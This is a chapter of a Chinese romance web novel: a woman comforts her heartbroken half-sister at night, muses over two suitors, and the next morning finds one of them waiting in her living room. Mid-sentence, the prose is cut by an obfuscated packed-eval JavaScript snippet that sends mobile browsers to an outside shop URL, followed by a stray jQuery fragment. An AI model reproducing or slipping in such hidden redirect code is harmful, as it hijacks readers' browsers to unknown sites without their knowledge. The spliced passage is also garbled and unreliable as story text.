关朝夕送完余邱凛回家后,回关宅已经是凌晨两点多了。
车子驶入关家别墅时,她余光懒洋洋地瞥向窗外,然后整个人僵住了
草坪上蹲着一个白色身影,风一吹,长发和白裙的裙摆一起飘动。
关朝夕起了一身鸡皮疙瘩。
她从小就不信鬼神,因为妈妈去世之后,她从未在梦境之外见过妈妈。
但那个白色的影子在那么热的天,始终不动一下,像是徘徊在这个房子里出不去的亡灵。
关朝夕熄了火坐在驾驶座上,手心全是冷汗。
她的脑子疯狂给自己洗脑-那是被风吹到草坪的床单。但下一秒,又一阵风吹起ta的长发,她看到了ta的脖子。
床单怕是成精了!!!
关朝夕心跳狂跳,缩在车子里不敢下去,给管家江叔打电话,但江叔没接。
她在车里犹豫了好半天,实在是困得不行,还是推开了车门。
刚走近几步,草坪上的感应地灯亮了。
她发现那个女鬼是关溪午!
关朝夕差点没背过气,她踩着高跟鞋快步走过去。
“关溪午!”关朝夕弯下腰,确认妹妹是不是中邪了,“你要把我吓出心脏病了,你中邪了?!”
关溪午眼神幽幽飘向她,她含着眼泪,白色的睡裙皱巴巴的,狼狈得跟天塌了一眼。
关朝夕想起余邱凛手掌的奶茶香,心一动。
如果没猜错,关溪午今晚电话里称的“聚餐”,是和余邱凛一起吃的。
她叹了口气,把自己脚上的高跟鞋蹬掉了,赤脚踩在草地上。
“你今天打游戏很帅哦,我没见过你这一面。”她轻声哄妹妹,像哄小朋友一样的口吻,“我同学还跟我打听你联系方式,你要我给他们吗?”
这是真心话。
要不是今天去看妹妹打游戏,她还真看不出来看起来弱小的关溪午,内心藏了个猛兽。
关溪午每次开团时机抓得又狠又准,对面后排被她切得七零八落。那种果断和凶狠,跟平时说话都细声细气的她判若两人,像是有另一个灵魂从那个小小的身体里冲了出来。
她总算是明白,为什么学校那么多人向她打听妹妹了。
游戏里的关溪午,真的很耀眼。
“不要吧。”
假装自己是蘑菇的小姑娘,在身体里发出了闷闷地声音。
关朝夕噗嗤又笑了。
带着潮气的杂草从关朝夕脚缝间钻出,又扎又痒。
初二暑假摔伤腿的记忆,又浮现在脑海里--当年,她也这样蹲在院子里假装自己是蘑菇过。
风水轮流转,她们家二小姐也吃上了爱情的苦。
“你能别笑话我吗,”关溪午听到她笑了,更难过了,还带了点哭腔“我内心没你那么强大。”
“你小学去开开心心夏令营的时候,我就是这么在家跟你一样蹲在院子里的墙角过。”关朝夕找了个惬意的姿势,坐了下来“我记得好像有两周吧。”
“姐,你说我是不是活该啊......”关溪午呼吸一窒,声音有些抖“我对你总是不闻不问,所以我才不招人喜欢。其实我都知道,你不喜欢我妈。你老被她争对,家族聚餐还要被我妈妈那边亲戚挑刺。我也知道你很介意我妈乱点鸳鸯谱。可我都没站在你那边,所以我招报应了。”
关朝夕没有接妹妹的话。
她其实已经有很多年没有跟妹妹这么聊天过了。
她们之间,总隔了个温敏诗。
温敏诗,像横在她们天平之间的杠杆。
父爱、家庭资源、学业、关注度、联姻放在天平两端,继母只消借着她家族资源轻轻一撬,天平就瞬间失衡。她们俩拥有都会被比较、掂量。
而她,一定是低位。
温敏诗对她的排斥,让她随着年龄的增长越来越膈应--她没法表现出喜欢继母的态度。
从小柔顺的关溪午也不可能为了所谓的亲情,在讨厌她姐姐的母亲面前,展现出姐妹情深的关系。
关朝夕很多时候都觉得,自己与同父异母的妹妹,甚至不如她与施朗之间的关系。
“关溪午,别把你想得那么重要。”关朝夕懒懒地打了个哈欠,嗓音带了倦意,“你把自己从所有事情中抽掉,这件事依然会发生。所以,天塌不了的。不然我也不可能坐你旁边,陪你半夜发神经了。”
她这一天应付了很多人,实在是困。但关溪午难得对她讲这么多心里话,她也不能什么都不表示。
不然,显得她很冷血。
关溪午哽住了,她好半天才叹了一口气“姐,你为什么都不会难过啊。怪不得施南哥、施朗哥都那么喜欢你。学校也有那么多男孩子喜欢你,我...我......”
关朝夕手指攥住了一根格外粗的草,面无表情地将它从泥土里连根拔了起来。
“如果我让你把施南去掉,”她坐直了身子,“你要不要去睡觉?”
关溪午吃了一惊。
“你胡说八道,施南哥最喜欢你了。”她小声嗫嚅,“他晚上还跟我打听你了,他一直很关心你啊。你生病那次,他找到你--”
“打住,别说了。”
刚刚还因为失恋难过得要死要活的小姑娘,当别人的红娘就血脉觉醒了。
关朝夕已经彻底醒了,她开始觉得烦自己不该同情妹妹了,她就该让关溪午在这当女鬼。
“让我睡不着对你有什么好处?”
她从草坪站了起来,冷冷地睥睨着妹妹:
“关溪午,永远不要试图感动一个让你伤了很多次心的男人。更不要试图感动一个他对你喜欢,要从别人嘴里说出来的男人。喜欢你的人,就算你躲起来,也会努力去找你。而不是你站在他面前了,就差把一颗心挖出来给他了,他还让你塞回去。”她穿好了鞋子,又拍了拍裙子上的泥巴,“你爱睡不睡,我要去睡了。”
关溪午第一次见关朝夕发脾气,惊得好半天说不出话,反应过来时关朝夕已经起身了。
但她又突然顿住了身子,站定脚步回头。
“小午,”她直勾勾地望着妹妹,轻声细语地询问她,“你喜欢的人,是怎么拒绝你的?”
关溪午眼圈又红了,瘪起了嘴。
她的恶魔姐姐不仅不同情她,还嘲笑她。
“你也不至于这么嘲笑我吧!”她生气地从草坪上爬了起来,可气才撒一半突然意识到不对,“不对啊,你怎么知道我喜欢的人拒绝我了?”
“那还用猜?你半夜能坐在这,不就是最好的证明?”关朝夕在她身上眼珠转啊转,嘴角的笑意愈发明显了,“你不是吧,你不会想学我生病那件蠢事吧?我告诉你,没用的--”
“他说他有喜欢的人了。”关溪午攥住了睡裙,垂头丧气地地下了脑袋“他报麓城大学也是因为她,他找她找了好久才找到她了。”
关朝夕点了点头,嘴角的笑快压不住了。
“行吧,你喜欢的人挺男人的。”她转过身,轻飘飘地甩下了一句话:“我帮你介绍男朋友吧,快去睡。”
关朝夕从不否认,自己不是善良的人。
但感情确实没有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776476|210036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么道理,不喜欢就是不喜欢。
这个道理,是施南教会她的。
所以,她为什么不能踩着妹妹的痛苦,去找自己的幸福。
那天夜里,关朝夕睡了个好觉。
这些日子,她总也睡不好觉,一睡着都是重复的画面。梦里她不是在冰天雪地找一扇门,就是在沙漠里找一口井,最后她总会化身为阿波罗,拽着达芙妮问他为什么害怕她。
她把施南从脑子里摘出来后,梦都没了。
早上,关朝夕醒来时,都十点多了。她今天和余邱凛约了今天去约会。
昨夜他们俩聊吃饭的地方,余邱凛随口说了一句,那附近有家溜冰场是哥哥曾经带他去过的。他在里面摔得怀疑人生,就再也没尝试过了。
“好啊,那就再去试一次,为你的溜冰事业有始有终。”
余邱凛先是一惊,很快就露出了憋屈的表情“你不会要跟我哥一样,让它彻底成为我人生的耻辱史吧?他老拿这事笑话我,说我四肢不协调。”
“你四肢不协调?”关朝夕一副吃惊地样子盯着他,“那你怎么能天天打篮球,还被那么多人围观?”
车内的顶灯把她的表情照得清清楚楚,她表情虽然很夸张,但眼底却是洞察一切的笑。
他被这道目光盯得无处可逃。
余邱凛先是跟她对视了一眼,立马迅速弹开,飘向窗外。发现窗外只有黑黢黢的树影,他又讪讪地把目光收回来,开始漫无目的地在车里搜寻。
然后,他竟然给她的车子当免费擦车工!
他抽了一张她放在中控台旁边的抽纸,沿着空调出风口的缝隙慢慢地擦着,仿佛那是今天必须完成的一项重大任务。他的侧脸绷着,表情看起来很冷峻,但耳朵却泛着可疑的红色。
可她憋着笑,用食指戳了戳他的胳膊,她能感觉到他整个人因为这个触碰而僵了一瞬。
关朝夕戳到第二下的时候,余邱凛擦中控台的动作终于停了。
他动作非常快速的、捉住了她戳过来的那根手指。
他看着她,开口的时候声音虚虚的,尾音带着一点点不易察觉的求饶意味:
“求你了,别再Gank我了。”
他握住她手指时一开始很紧,手心也特别烫。她的指节因此被他的骨节硌到了,手指在他掌心里本能地抖了一下。
他立马松开了她,耳朵也红到了耳根。
白天那个跟鬼一样,杀伐果断的野王,晚上就被她这么个门外汉Gank了一次又一次。
关朝夕越想就越觉得神清气爽。
早上,关朝夕是哼着歌从房间里出来的。
她今天为了跟弟弟滑冰,特意穿了件减龄的雪纺吊带长衫、牛仔热裤,还扎了个丸子头。
她在房间里对着镜子照了很久,对自己轻盈的新造型非常满意。觉得自己像只重回山林的小鸟,快乐的不得了。
当她走到楼梯拐角,客厅全貌落入眼帘时,她脚步顿住了。
沙发上坐着一个人。
应该在机场施南,姿态像是在自己家一样自在那般,坐在她家客厅里,垂着眼看翻着一本她爸爸的书。晨光从落地窗斜斜地打在他身上,在他侧脸上勾勒出清隽的轮廓。
听到楼上动静,他从书页上抬起眼来,目光落在她身上,不动声色地扫过她那下衣失踪的腿上。
然后他合上书,从沙发上站了起来。
“早。”
他声音温和,语气自然,嘴角甚至带着一点淡淡的笑。
啊,盛小鸟刚出山,就被门外汉Gank了!!